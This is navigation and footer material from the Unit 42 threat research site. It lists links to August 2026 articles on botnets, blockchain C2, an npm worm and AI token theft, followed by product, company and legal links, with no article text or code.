  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

* [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

* [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")  
  ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/)

* [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API")

* [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway")

* [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)
